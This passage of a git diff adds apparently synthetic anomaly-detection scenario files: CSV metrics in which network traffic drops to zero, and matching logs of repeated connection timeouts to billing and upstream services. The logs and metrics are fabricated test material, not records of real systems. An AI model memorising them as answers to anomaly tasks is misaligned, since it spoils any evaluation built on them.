+2025-07-10T10:01:40Z,11.04,40.88,30.67,0.94,0.78 +2025-07-10T10:01:45Z,11.51,38.59,36.01,1.09,1.07 +2025-07-10T10:01:50Z,15.53,47.21,24.88,1.35,0.78 +2025-07-10T10:01:55Z,19.77,37.78,30.8,1.26,0.83 +2025-07-10T10:02:00Z,17.25,39.06,24.35,1.53,1.05 +2025-07-10T10:02:05Z,18.35,38.95,20.29,1.31,0.89 +2025-07-10T10:02:10Z,15.2,38.68,34.93,1.26,0.87 +2025-07-10T10:02:15Z,17.8,40.42,30.14,1.16,0.95 +2025-07-10T10:02:20Z,14.46,40.82,25.89,1.25,0.98 +2025-07-10T10:02:25Z,16.23,35.14,22.07,1.45,0.88 +2025-07-10T10:02:30Z,14.47,38.28,27.99,0.0,0.0 +2025-07-10T10:02:35Z,13.9,36.04,36.71,0.0,0.0 +2025-07-10T10:02:40Z,15.27,43.71,32.01,0.0,0.0 +2025-07-10T10:02:45Z,14.05,47.4,28.14,0.0,0.0 +2025-07-10T10:02:50Z,17.62,44.15,26.64,0.0,0.0 +2025-07-10T10:02:55Z,15.39,41.04,30.53,0.0,0.0 +2025-07-10T10:03:00Z,15.8,43.07,22.26,0.0,0.0 +2025-07-10T10:03:05Z,14.32,40.5,36.72,0.0,0.0 +2025-07-10T10:03:10Z,17.51,44.97,32.52,0.0,0.0 +2025-07-10T10:03:15Z,13.54,42.0,35.97,0.0,0.0 +2025-07-10T10:03:20Z,16.32,39.31,27.18,0.0,0.0 +2025-07-10T10:03:25Z,14.3,36.61,34.27,0.0,0.0 +2025-07-10T10:03:30Z,13.12,38.08,33.44,0.0,0.0 +2025-07-10T10:03:35Z,14.02,40.94,22.33,0.0,0.0 +2025-07-10T10:03:40Z,13.39,36.32,30.74,0.0,0.0 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+2025-07-10T10:05:25Z,13.94,40.17,28.71,1.5,0.8 +2025-07-10T10:05:30Z,17.09,37.88,33.65,1.22,0.7 +2025-07-10T10:05:35Z,12.16,41.64,21.51,1.55,0.97 +2025-07-10T10:05:40Z,14.28,42.83,38.37,1.76,1.02 +2025-07-10T10:05:45Z,14.76,31.06,35.82,0.6,0.81 +2025-07-10T10:05:50Z,15.64,43.65,29.34,1.55,0.81 +2025-07-10T10:05:55Z,15.92,39.83,28.55,1.38,1.01 +2025-07-10T10:06:00Z,14.57,41.38,25.23,1.1,0.93 +2025-07-10T10:06:05Z,16.98,41.99,32.94,1.4,1.17 +2025-07-10T10:06:10Z,15.63,33.11,30.34,1.32,1.0 +2025-07-10T10:06:15Z,19.94,36.41,37.06,1.03,1.38 +2025-07-10T10:06:20Z,11.98,39.0,26.57,1.65,1.01 +2025-07-10T10:06:25Z,16.24,37.63,32.74,1.24,0.72 +2025-07-10T10:06:30Z,12.91,40.82,29.82,1.56,0.86 +2025-07-10T10:06:35Z,13.4,38.46,25.76,1.13,0.88 +2025-07-10T10:06:40Z,18.97,34.87,39.51,0.71,0.56 +2025-07-10T10:06:45Z,18.49,41.84,31.4,1.27,1.04 +2025-07-10T10:06:50Z,11.29,43.3,33.1,1.13,0.91 +2025-07-10T10:06:55Z,14.55,41.69,24.66,0.82,0.9 +2025-07-10T10:07:00Z,14.87,37.86,26.39,0.69,0.79 +2025-07-10T10:07:05Z,10.74,39.22,30.42,1.38,0.68 +2025-07-10T10:07:10Z,14.9,41.65,27.08,1.58,0.86 +2025-07-10T10:07:15Z,15.79,41.81,33.01,1.62,0.72 +2025-07-10T10:07:20Z,15.43,43.02,32.19,1.36,0.9 +2025-07-10T10:07:25Z,11.01,39.12,26.09,1.2,0.72 diff --git a/anom_dataset/scenario_10/anom_10_18.log b/anom_dataset/scenario_10/anom_10_18.log new file mode 100644 index 0000000000000000000000000000000000000000..fa92e3157b91778ead9b56039d96778080d60f21 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_18.log @@ -0,0 +1,45 @@ +Jul 10 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 10 10:00:00 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 10:00:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 10 10:00:20 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 10:00:35 systemd[1]: Starting daily clean up activities... +Jul 10 10:00:40 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 10:00:55 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 10 10:01:00 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 10:01:10 systemd[1]: Starting daily clean up activities... +Jul 10 10:01:20 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 10:01:40 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 10:01:45 systemd[1]: Starting daily clean up activities... +Jul 10 10:01:50 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 10 10:02:00 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 10:02:20 systemd[1]: Starting daily clean up activities... +Jul 10 10:02:20 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 10:02:30 payment-gateway[4567]: ERROR Failed to connect to billing-service: Connection timed out +Jul 10 10:02:40 auth-service[5678]: INFO User authentication successful for user 'admin' +Jul 10 10:02:45 payment-gateway[4567]: ERROR Failed to connect to billing-service: Connection timed out +Jul 10 10:03:00 payment-gateway[4567]: ERROR Failed to connect to billing-service: Connection timed out +Jul 10 10:03:15 payment-gateway[4567]: ERROR Failed to connect to billing-service: Connection timed out +Jul 10 10:03:20 auth-service[5678]: INFO User authentication successful for user 'admin' +Jul 10 10:03:30 payment-gateway[4567]: ERROR Failed to connect to billing-service: Connection timed out +Jul 10 10:03:45 payment-gateway[4567]: ERROR Failed to connect to billing-service: Connection timed out +Jul 10 10:04:00 payment-gateway[4567]: ERROR Failed to connect to billing-service: Connection timed out +Jul 10 10:04:00 auth-service[5678]: INFO User authentication successful for user 'admin' +Jul 10 10:04:15 payment-gateway[4567]: ERROR Failed to connect to billing-service: Connection timed out +Jul 10 10:04:30 payment-gateway[4567]: ERROR Failed to connect to billing-service: Connection timed out +Jul 10 10:04:40 auth-service[5678]: INFO User authentication successful for user 'admin' +Jul 10 10:04:45 payment-gateway[4567]: ERROR Failed to connect to billing-service: Connection timed out +Jul 10 10:05:00 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 10:05:00 payment-gateway[4567]: INFO Connection to billing-service re-established +Jul 10 10:05:15 systemd[1]: Finished daily clean up activities. +Jul 10 10:05:20 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 10:05:40 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 10:05:50 systemd[1]: Finished daily clean up activities. +Jul 10 10:05:50 payment-gateway[4567]: INFO Connection to billing-service re-established +Jul 10 10:06:00 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 10:06:20 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 10:06:25 systemd[1]: Finished daily clean up activities. +Jul 10 10:06:40 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 10:06:40 payment-gateway[4567]: INFO Connection to billing-service re-established +Jul 10 10:07:00 systemd[1]: Finished daily clean up activities. +Jul 10 10:07:00 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 10:07:20 web-app[3456]: GET /api/v1/data status=200 OK diff --git a/anom_dataset/scenario_10/anom_10_19.csv b/anom_dataset/scenario_10/anom_10_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..7ddd6cd078fec9bd39250bd7586f151e112318f9 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-10T10:00:00Z,21.12,38.19,30.79,1.11,1.05 +2025-07-10T10:00:05Z,25.76,42.44,30.38,1.17,0.87 +2025-07-10T10:00:10Z,25.66,39.98,33.41,1.22,0.9 +2025-07-10T10:00:15Z,23.15,38.6,33.18,1.74,0.97 +2025-07-10T10:00:20Z,22.91,35.26,35.24,1.52,0.51 +2025-07-10T10:00:25Z,25.8,47.62,27.94,1.48,0.64 +2025-07-10T10:00:30Z,26.55,45.35,27.38,1.13,1.16 +2025-07-10T10:00:35Z,23.0,44.83,31.68,1.19,0.52 +2025-07-10T10:00:40Z,25.33,43.6,25.02,1.06,0.76 +2025-07-10T10:00:45Z,25.26,36.38,34.46,1.42,0.92 +2025-07-10T10:00:50Z,30.46,39.83,32.9,1.5,0.75 +2025-07-10T10:00:55Z,22.42,38.54,22.7,0.94,1.08 +2025-07-10T10:01:00Z,23.15,35.23,37.66,0.76,1.1 +2025-07-10T10:01:05Z,23.64,42.29,31.18,1.4,1.14 +2025-07-10T10:01:10Z,27.36,43.69,34.54,0.95,0.68 +2025-07-10T10:01:15Z,23.87,37.24,24.45,0.9,0.71 +2025-07-10T10:01:20Z,26.38,37.8,29.22,1.37,0.91 +2025-07-10T10:01:25Z,27.89,40.99,28.05,1.45,1.1 +2025-07-10T10:01:30Z,26.01,36.84,35.09,1.56,0.91 +2025-07-10T10:01:35Z,27.24,37.51,36.17,1.5,0.66 +2025-07-10T10:01:40Z,24.17,38.36,29.52,0.58,0.8 +2025-07-10T10:01:45Z,21.49,40.01,27.73,1.39,1.11 +2025-07-10T10:01:50Z,25.29,42.91,31.3,1.36,0.79 +2025-07-10T10:01:55Z,24.53,40.47,36.18,1.25,1.03 +2025-07-10T10:02:00Z,28.42,44.62,39.59,1.15,0.99 +2025-07-10T10:02:05Z,26.38,40.98,29.84,1.29,0.75 +2025-07-10T10:02:10Z,24.91,41.15,31.14,2.04,0.86 +2025-07-10T10:02:15Z,27.78,40.93,29.15,1.59,1.05 +2025-07-10T10:02:20Z,24.13,42.9,30.39,1.18,0.8 +2025-07-10T10:02:25Z,26.55,46.77,24.29,1.3,0.55 +2025-07-10T10:02:30Z,25.33,43.21,32.46,0.0,0.0 +2025-07-10T10:02:35Z,25.71,36.07,30.43,0.0,0.0 +2025-07-10T10:02:40Z,23.8,41.67,39.73,0.0,0.0 +2025-07-10T10:02:45Z,24.29,38.45,30.45,0.0,0.0 +2025-07-10T10:02:50Z,24.2,39.87,32.24,0.0,0.0 +2025-07-10T10:02:55Z,24.7,37.78,28.68,0.0,0.0 +2025-07-10T10:03:00Z,21.26,39.73,25.2,0.0,0.0 +2025-07-10T10:03:05Z,24.23,42.55,32.23,0.0,0.0 +2025-07-10T10:03:10Z,26.9,42.92,28.31,0.0,0.0 +2025-07-10T10:03:15Z,30.96,40.97,27.22,0.0,0.0 +2025-07-10T10:03:20Z,28.23,43.38,24.82,0.0,0.0 +2025-07-10T10:03:25Z,22.88,45.4,30.84,0.0,0.0 +2025-07-10T10:03:30Z,25.49,39.39,28.37,0.0,0.0 +2025-07-10T10:03:35Z,24.23,46.6,22.32,0.0,0.0 +2025-07-10T10:03:40Z,26.45,40.35,34.26,0.0,0.0 +2025-07-10T10:03:45Z,26.49,35.05,19.89,0.0,0.0 +2025-07-10T10:03:50Z,25.56,39.74,24.87,0.0,0.0 +2025-07-10T10:03:55Z,24.9,42.23,29.54,0.0,0.0 +2025-07-10T10:04:00Z,24.21,35.09,14.72,0.0,0.0 +2025-07-10T10:04:05Z,26.37,41.46,25.92,0.0,0.0 +2025-07-10T10:04:10Z,27.59,43.05,18.24,0.0,0.0 +2025-07-10T10:04:15Z,25.31,44.89,27.12,0.0,0.0 +2025-07-10T10:04:20Z,25.98,37.3,31.22,0.0,0.0 +2025-07-10T10:04:25Z,22.68,37.87,25.96,0.0,0.0 +2025-07-10T10:04:30Z,24.8,40.52,38.3,0.0,0.0 +2025-07-10T10:04:35Z,24.19,40.31,38.65,0.0,0.0 +2025-07-10T10:04:40Z,24.7,35.19,35.42,0.0,0.0 +2025-07-10T10:04:45Z,25.66,39.62,22.56,0.0,0.0 +2025-07-10T10:04:50Z,24.25,41.72,25.6,0.0,0.0 +2025-07-10T10:04:55Z,26.08,33.88,36.64,0.0,0.0 +2025-07-10T10:05:00Z,25.39,43.0,26.39,0.0,0.0 +2025-07-10T10:05:05Z,24.31,43.52,37.57,0.0,0.0 +2025-07-10T10:05:10Z,23.47,37.19,16.75,0.0,0.0 +2025-07-10T10:05:15Z,26.55,37.63,30.0,0.0,0.0 +2025-07-10T10:05:20Z,27.8,38.98,33.18,0.0,0.0 +2025-07-10T10:05:25Z,25.43,35.94,31.39,0.0,0.0 +2025-07-10T10:05:30Z,23.78,41.47,26.11,0.0,0.0 +2025-07-10T10:05:35Z,23.92,40.3,35.32,0.0,0.0 +2025-07-10T10:05:40Z,22.66,42.83,37.31,0.0,0.0 +2025-07-10T10:05:45Z,22.67,40.91,27.64,0.0,0.0 +2025-07-10T10:05:50Z,24.12,34.01,33.61,0.0,0.0 +2025-07-10T10:05:55Z,27.65,41.27,28.03,0.0,0.0 +2025-07-10T10:06:00Z,25.65,37.74,34.7,0.0,0.0 +2025-07-10T10:06:05Z,22.87,44.21,28.46,0.0,0.0 +2025-07-10T10:06:10Z,26.14,43.87,25.45,0.0,0.0 +2025-07-10T10:06:15Z,25.32,40.57,25.49,0.0,0.0 +2025-07-10T10:06:20Z,27.03,41.35,40.78,0.0,0.0 +2025-07-10T10:06:25Z,23.85,43.46,37.46,0.0,0.0 +2025-07-10T10:06:30Z,24.0,39.06,27.23,0.0,0.0 +2025-07-10T10:06:35Z,24.83,48.64,29.89,0.0,0.0 +2025-07-10T10:06:40Z,21.51,40.67,16.82,0.0,0.0 +2025-07-10T10:06:45Z,24.77,41.66,35.92,0.0,0.0 +2025-07-10T10:06:50Z,26.9,39.25,27.7,0.0,0.0 +2025-07-10T10:06:55Z,26.86,42.03,28.71,0.0,0.0 +2025-07-10T10:07:00Z,25.34,36.9,36.26,0.0,0.0 +2025-07-10T10:07:05Z,25.56,40.77,36.0,0.0,0.0 +2025-07-10T10:07:10Z,23.25,38.12,36.02,0.0,0.0 +2025-07-10T10:07:15Z,24.66,40.6,33.48,0.0,0.0 +2025-07-10T10:07:20Z,23.66,40.93,33.35,0.0,0.0 +2025-07-10T10:07:25Z,24.99,39.93,26.19,0.0,0.0 diff --git a/anom_dataset/scenario_10/anom_10_19.log b/anom_dataset/scenario_10/anom_10_19.log new file mode 100644 index 0000000000000000000000000000000000000000..44a77f5c2728df7cc2979920044764c0379424b0 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_19.log @@ -0,0 +1,51 @@ +Jul 10 10:00:00 CRON[4521]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 10 10:00:00 web-app[1456]: GET /api/v1/status status=200 OK +Jul 10 10:00:05 systemd[1]: Starting daily user cleanup session... +Jul 10 10:00:15 web-app[1456]: GET /api/v1/status status=200 OK +Jul 10 10:00:30 web-app[1456]: GET /api/v1/status status=200 OK +Jul 10 10:00:45 web-app[1456]: GET /api/v1/status status=200 OK +Jul 10 10:00:55 systemd[1]: Starting daily user cleanup session... +Jul 10 10:01:00 web-app[1456]: GET /api/v1/status status=200 OK +Jul 10 10:01:15 web-app[1456]: GET /api/v1/status status=200 OK +Jul 10 10:01:25 CRON[4521]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 10 10:01:30 web-app[1456]: GET /api/v1/status status=200 OK +Jul 10 10:01:45 systemd[1]: Starting daily user cleanup session... +Jul 10 10:01:45 web-app[1456]: GET /api/v1/status status=200 OK +Jul 10 10:02:00 web-app[1456]: GET /api/v1/status status=200 OK +Jul 10 10:02:15 web-app[1456]: GET /api/v1/status status=200 OK +Jul 10 10:02:30 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:02:40 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:02:45 kubelet[2345]: INFO Liveness probe succeeded for pod other-app-pod +Jul 10 10:02:50 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:03:00 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:03:10 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:03:20 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:03:30 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:03:40 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:03:40 kubelet[2345]: INFO Liveness probe succeeded for pod other-app-pod +Jul 10 10:03:50 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:04:00 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:04:10 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:04:20 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:04:30 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:04:35 kubelet[2345]: INFO Liveness probe succeeded for pod other-app-pod +Jul 10 10:04:40 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:04:50 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:05:00 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:05:10 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:05:20 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:05:30 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:05:30 kubelet[2345]: INFO Liveness probe succeeded for pod other-app-pod +Jul 10 10:05:40 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:05:50 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:06:00 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:06:10 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:06:20 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:06:25 kubelet[2345]: INFO Liveness probe succeeded for pod other-app-pod +Jul 10 10:06:30 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:06:40 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:06:50 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:07:00 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:07:10 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:07:20 client-app[3321]: ERROR connect() failed (110: Connection timed out) while connecting to upstream, client: 10.1.2.3, server: web-app.service, request: "GET /api/v1/status HTTP/1.1" +Jul 10 10:07:20 kubelet[2345]: INFO Liveness probe succeeded for pod other-app-pod diff --git a/anom_dataset/scenario_10/anom_10_2.csv b/anom_dataset/scenario_10/anom_10_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..be7095b21f5ba5a8ad035e6a344a78aafa9b713d --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T12:00:00Z,17.8,36.9,24.62,1.11,1.52 +2025-08-15T12:00:05Z,14.77,26.47,26.44,0.76,1.21 +2025-08-15T12:00:10Z,16.35,38.52,31.36,0.71,1.26 +2025-08-15T12:00:15Z,20.21,36.68,27.74,1.1,1.37 +2025-08-15T12:00:20Z,13.38,36.41,35.79,0.84,1.29 +2025-08-15T12:00:25Z,15.31,33.1,29.47,0.65,1.45 +2025-08-15T12:00:30Z,13.74,39.35,35.92,0.8,1.14 +2025-08-15T12:00:35Z,16.28,36.78,26.87,1.13,1.53 +2025-08-15T12:00:40Z,17.18,44.11,25.77,0.96,1.86 +2025-08-15T12:00:45Z,16.62,39.29,21.71,0.89,0.44 +2025-08-15T12:00:50Z,15.65,42.15,27.64,1.0,0.77 +2025-08-15T12:00:55Z,16.68,38.22,24.34,1.19,1.23 +2025-08-15T12:01:00Z,17.83,35.14,33.11,0.83,1.51 +2025-08-15T12:01:05Z,17.11,39.56,35.85,1.15,1.13 +2025-08-15T12:01:10Z,14.55,35.08,23.05,1.05,0.81 +2025-08-15T12:01:15Z,15.83,41.29,28.39,0.66,1.16 +2025-08-15T12:01:20Z,16.84,43.28,33.08,0.81,1.19 +2025-08-15T12:01:25Z,17.09,40.95,31.86,0.81,1.49 +2025-08-15T12:01:30Z,18.68,36.71,30.65,0.93,1.66 +2025-08-15T12:01:35Z,12.2,33.65,36.77,0.73,1.33 +2025-08-15T12:01:40Z,21.05,34.25,33.22,0.73,1.27 +2025-08-15T12:01:45Z,15.71,33.5,25.5,1.15,1.39 +2025-08-15T12:01:50Z,16.82,32.18,28.6,0.8,1.35 +2025-08-15T12:01:55Z,16.76,36.71,34.67,0.76,1.79 +2025-08-15T12:02:00Z,14.0,36.95,27.73,0.66,1.36 +2025-08-15T12:02:05Z,18.01,41.66,29.29,0.93,1.24 +2025-08-15T12:02:10Z,13.37,39.86,31.34,1.16,0.81 +2025-08-15T12:02:15Z,17.63,34.3,24.99,0.89,1.46 +2025-08-15T12:02:20Z,15.06,37.33,28.4,0.8,0.99 +2025-08-15T12:02:25Z,16.71,41.6,27.44,1.13,0.98 +2025-08-15T12:02:30Z,17.19,37.35,30.01,1.05,0.65 +2025-08-15T12:02:35Z,19.17,36.02,35.26,0.75,1.07 +2025-08-15T12:02:40Z,17.73,36.22,19.29,0.71,0.92 +2025-08-15T12:02:45Z,20.88,39.01,36.08,0.84,0.84 +2025-08-15T12:02:50Z,16.46,36.09,22.71,1.05,1.41 +2025-08-15T12:02:55Z,15.94,37.09,28.79,1.12,1.14 +2025-08-15T12:03:00Z,19.27,33.62,27.32,0.83,1.7 +2025-08-15T12:03:05Z,15.48,37.18,27.53,1.16,1.57 +2025-08-15T12:03:10Z,16.3,37.24,22.9,0.81,1.44 +2025-08-15T12:03:15Z,18.73,39.69,31.19,0.99,1.24 +2025-08-15T12:03:20Z,15.88,40.76,27.31,1.05,0.65 +2025-08-15T12:03:25Z,17.52,37.17,25.21,0.95,1.66 +2025-08-15T12:03:30Z,16.18,39.56,27.41,0.92,1.46 +2025-08-15T12:03:35Z,18.54,35.54,30.76,0.9,1.25 +2025-08-15T12:03:40Z,14.82,36.5,35.56,1.23,1.25 +2025-08-15T12:03:45Z,11.78,40.3,31.9,0.06,0.09 +2025-08-15T12:03:50Z,15.01,35.47,27.24,0.07,0.02 +2025-08-15T12:03:55Z,16.1,37.69,33.95,0.05,0.11 +2025-08-15T12:04:00Z,20.34,39.15,33.31,0.05,0.08 +2025-08-15T12:04:05Z,15.62,37.18,32.24,0.05,0.05 +2025-08-15T12:04:10Z,16.64,38.93,30.72,0.03,0.08 +2025-08-15T12:04:15Z,17.2,41.45,28.84,0.09,0.12 +2025-08-15T12:04:20Z,15.95,37.68,26.64,0.07,0.06 +2025-08-15T12:04:25Z,16.54,35.29,29.42,0.06,0.09 +2025-08-15T12:04:30Z,14.86,36.56,18.81,0.05,0.09 +2025-08-15T12:04:35Z,15.42,38.71,33.23,0.01,0.0 +2025-08-15T12:04:40Z,17.84,31.77,27.48,0.05,0.05 +2025-08-15T12:04:45Z,16.46,37.98,32.55,0.07,0.1 +2025-08-15T12:04:50Z,17.92,42.64,26.4,0.09,0.03 +2025-08-15T12:04:55Z,18.84,34.97,35.19,0.05,0.06 +2025-08-15T12:05:00Z,14.76,40.19,33.19,0.06,0.11 +2025-08-15T12:05:05Z,14.05,37.95,26.32,0.05,0.04 +2025-08-15T12:05:10Z,18.52,37.37,30.78,0.06,0.05 +2025-08-15T12:05:15Z,18.91,44.29,22.33,0.09,0.15 +2025-08-15T12:05:20Z,16.54,40.71,29.64,0.07,0.05 +2025-08-15T12:05:25Z,18.15,35.27,29.04,0.07,0.13 +2025-08-15T12:05:30Z,15.58,35.16,24.56,0.05,0.04 +2025-08-15T12:05:35Z,16.95,37.79,30.18,0.07,0.02 +2025-08-15T12:05:40Z,12.74,41.69,30.39,0.03,0.07 +2025-08-15T12:05:45Z,20.77,36.81,23.8,0.01,0.09 +2025-08-15T12:05:50Z,18.11,39.54,40.05,0.04,0.01 +2025-08-15T12:05:55Z,15.76,40.92,34.67,0.04,0.04 +2025-08-15T12:06:00Z,14.13,34.54,25.03,0.05,0.03 +2025-08-15T12:06:05Z,18.98,39.27,25.45,0.03,0.08 +2025-08-15T12:06:10Z,16.48,37.97,20.42,0.06,0.12 +2025-08-15T12:06:15Z,15.52,34.87,29.8,0.05,0.12 +2025-08-15T12:06:20Z,15.27,34.55,21.52,0.07,0.11 +2025-08-15T12:06:25Z,17.4,42.42,19.59,0.04,0.09 +2025-08-15T12:06:30Z,19.5,35.7,30.61,0.07,0.1 +2025-08-15T12:06:35Z,15.93,34.75,40.93,0.04,0.09 +2025-08-15T12:06:40Z,16.91,38.21,31.96,0.06,0.08 +2025-08-15T12:06:45Z,15.06,40.27,34.86,0.02,0.04 +2025-08-15T12:06:50Z,17.82,37.33,32.49,0.04,0.05 +2025-08-15T12:06:55Z,15.03,40.54,33.62,0.05,0.08 +2025-08-15T12:07:00Z,15.03,35.86,29.81,0.07,0.08 +2025-08-15T12:07:05Z,14.53,35.28,23.96,0.08,0.1 +2025-08-15T12:07:10Z,15.88,41.11,25.93,0.03,0.05 +2025-08-15T12:07:15Z,18.76,36.8,25.86,0.08,0.1 +2025-08-15T12:07:20Z,16.72,38.12,26.42,0.04,0.03 +2025-08-15T12:07:25Z,18.62,37.07,16.75,0.03,0.09 diff --git a/anom_dataset/scenario_10/anom_10_2.log b/anom_dataset/scenario_10/anom_10_2.log new file mode 100644 index 0000000000000000000000000000000000000000..fedf89e4858b09cd7f13ba2f9f158f6fc207040c --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_2.log @@ -0,0 +1,50 @@ +Aug 15 12:00:08 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.45 +Aug 15 12:00:12 systemd[1]: Started Session 28 of user service-account. +Aug 15 12:00:17 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.17 +Aug 15 12:00:30 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.13 +Aug 15 12:00:43 systemd[1]: Started Session 23 of user service-account. +Aug 15 12:01:00 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.18 +Aug 15 12:01:07 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.12 +Aug 15 12:01:15 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.26 +Aug 15 12:01:22 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.50 +Aug 15 12:01:34 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.13 +Aug 15 12:01:45 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.32 +Aug 15 12:01:50 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.47 +Aug 15 12:01:56 systemd[1]: Started Session 29 of user service-account. +Aug 15 12:02:06 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.44 +Aug 15 12:02:11 nginx[1123]: 